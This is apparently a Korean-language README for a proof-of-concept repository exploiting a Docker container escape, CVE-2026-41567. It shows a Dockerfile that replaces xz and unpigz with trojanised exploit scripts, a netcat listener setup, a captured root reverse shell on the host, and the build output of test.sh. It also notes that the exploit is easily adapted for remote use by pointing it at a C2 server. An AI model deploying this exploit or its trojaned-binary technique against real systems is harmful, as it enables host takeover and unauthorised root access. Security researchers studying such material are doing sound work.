berdav/cve-2026-41567트로이 목마화된 xz/unpigz 바이너리를 사용하여 CVE-2026-41567 Docker 탈출을 악용하고 컨테이너 내부에서 호스트의 루트 셸을 획득합니다.
Docker Escape CVE-2026-41567을 위한 1day 익스플로잇입니다.
트로이 목마화된 xz / unpigz를 이용한 docker escape 시연입니다.
원격으로 사용하도록 쉽게 수정할 수 있습니다(즉, docker 기본 IP만 원격 C2로 변경하면 됩니다).
익스플로잇에 대한 자세한 정보는 여기를 참조하세요.
호스트에서 포트 50005에 netcat 리스너를 실행하세요.
ubuntu@ubuntu-noble:~/CVE-2026-41567$ nc -vlp 50005
Listening on 0.0.0.0 50005
Connection received on ubuntu-noble 35722
# whoami
root
# cat /etc/hostname
ubuntu-noble
# exit
그런 다음 test.sh 스크립트를 실행하세요.
익스플로잇이 동작하면 즉시 root 셸을 얻을 수 있습니다.
ubuntu@ubuntu-noble:~/CVE-2026-41567$ sudo ./test.sh
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
Install the buildx component to build images with BuildKit:
https://docs.docker.com/go/buildx/
Sending build context to Docker daemon 19.97kB
Step 1/7 : FROM debian
---> 34cd9e9fd437
Step 2/7 : RUN apt update && apt install -y ncat
---> Using cache
---> c85c9eb10bff
Step 3/7 : COPY exploit.sh /usr/bin/xz
---> Using cache
---> b84efa8058e7
Step 4/7 : RUN chmod +x /usr/bin/xz
---> Using cache
---> 423b0e1891a6
Step 5/7 : COPY exploit.sh /usr/bin/unpigz
---> Using cache
---> 74eff85cf988
Step 6/7 : RUN chmod +x /usr/bin/unpigz
---> Using cache
---> 2f773fa12931
Step 7/7 : CMD [ "sleep", "9999999" ]
---> Using cache
---> 7b99f12dbe8d
Successfully built 7b99f12dbe8d
Successfully tagged cve-2026-41567:latest
cve-2026-41567
5679a4dc643c65a20039de693fad1f1caeea7fe5760b5c4049d1d4f37f5ab825
tar: Removing leading `/' from member names
/etc/hosts
Successfully copied 0B to cve-2026-41567:/tmp
참고로 Docker 데몬과 통신하려면 권한이 필요합니다(보통 root 권한).